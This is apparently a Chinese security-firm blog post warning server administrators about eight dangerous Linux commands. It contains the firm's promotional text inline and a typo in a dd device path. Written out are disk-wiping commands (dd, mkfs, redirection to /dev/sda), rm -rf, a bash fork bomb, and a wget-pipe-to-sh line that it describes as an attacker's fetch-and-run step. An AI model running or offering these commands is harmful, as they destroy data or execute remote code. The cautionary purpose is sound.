Linux服务器命令 最常用并应该牢记的几个命令

 
 
           服务器的安全运维人员,接触最多的是linux centos系统较多一些,在linux服务器的安全管

理与设置大多数都是命令行的方式来对服务器进行操作,为
了服务器的操作安全,有些常用的命

令,以及必须牢记的命令,对系统造成危害很
大的命令,都要谨慎的使用,从服务器安全运维的

十年安全维护经验来着手,列举一下几个比
较常见的linux服务器命令。


 
 
1.  rm -rf 命令
 
rm 命令大家都不会陌生,基本上应该知道是什么意思,大体的意思是强制删除指定目录下的所有

文件和文件夹,经常有服务器运维技术在使用这个命令的时候出现
误操作,指定的目录写成根目

录的地址,导致网站文件误删除的发生,我记得有一
次在使用这个命令的时候,本来以为自己已

经切换到我要删除的目录了,然后使用
了rm -rf命令,然而实际上我并没有切换,直接将网站全部

删除,导致数据无法恢
复,真的是血的教训啊。Sine安全公司是一家专注于:服务器安全、网站

安全
、网站安全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安全服务提供商。

 
 
2.  > /dev/sda 命令
 
这个命令的关键在于后面的 /dev/sda ,执行完这个操作之后,数据会被写入第一个硬盘,导致覆

盖掉所有文件和文件夹。危害可想而知。

 
 
3.  > file 命令
 
这个linux命令的作用是将之前的内容重定向到文件中,而且是覆盖掉原有文件,所以在执行这个

操作的时候要小心后面的文件,确保文件名正确,否则会因为自己
的失误把重要的文件覆盖掉,

造成不必要的麻烦。
 
 
4.  wget http://sinesafe.com/exp.sh -O- | sh
 
这个命令经常被黑客拿来使用,在受害机器上下载并执行黑客指定的脚本,执行反弹 shell 或者

提权啥的操作。作为运维者,小心使用这个命令,防止黑客使用钓
鱼等技术诱使你执行他让你执

行的命令,导致系统沦陷。

 
5.  mkfs.ext4 /dev/sda1 命令
 
这个命令的作用是将服务器里的 /dev/sda1目录 格式化,这个操作造成的危害大家可能都经历过

在安装 windows 服务器操作系统的时候,一不小心把硬盘系统都格式化
的事情,想想都很可怕。
 
 
6.  dd if=/dev/random of=/dev/sda 命令
 
Dd 命令用于复制 & 改变硬盘分区。如果,你用错地方了,那么也很危险。比如下面的命令可以

使整个主硬盘清零:dd if=/dev/zero of=/dev/hadSine安全公司是一家专注于:服务器安全、

网站安全、网站安全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安全服务提供商。

 
 
7.  mv ~ /dev/null 命令
 
/dev/null ,从名称上可以很显然看出是一个空文件(写入到 /dev/null 时全部丢失,读取 /dev/null

时自己返回 EOF )。这条命令的意思就是将用户文件移动
到 /dev/null ,也就是变相的删除文

件,所以使用这个命令的时候也要小心,防
止丢失数据。
 
 
8.  :(){:|:&};: 命令
 
以上命令是 Linux 下的 bash fork 炸弹,我们将上面的命令换一下形式如下:
 
: () {
  \: | \: &
}; :
 
以上命令中: 是函数名,执行一个调用自己的递归并且回调自己,& 表示后台执行程序,最后的一

个 :是在函数外调用和执行 : () 这个函数的意思。最终的目的
就是创建一个每次调用自身调用两次

的函数,并没有任何方法来终止自身。 然后
它将保持倍增,直到您用完服务器的系统资源为止。
 
分享:

相关推荐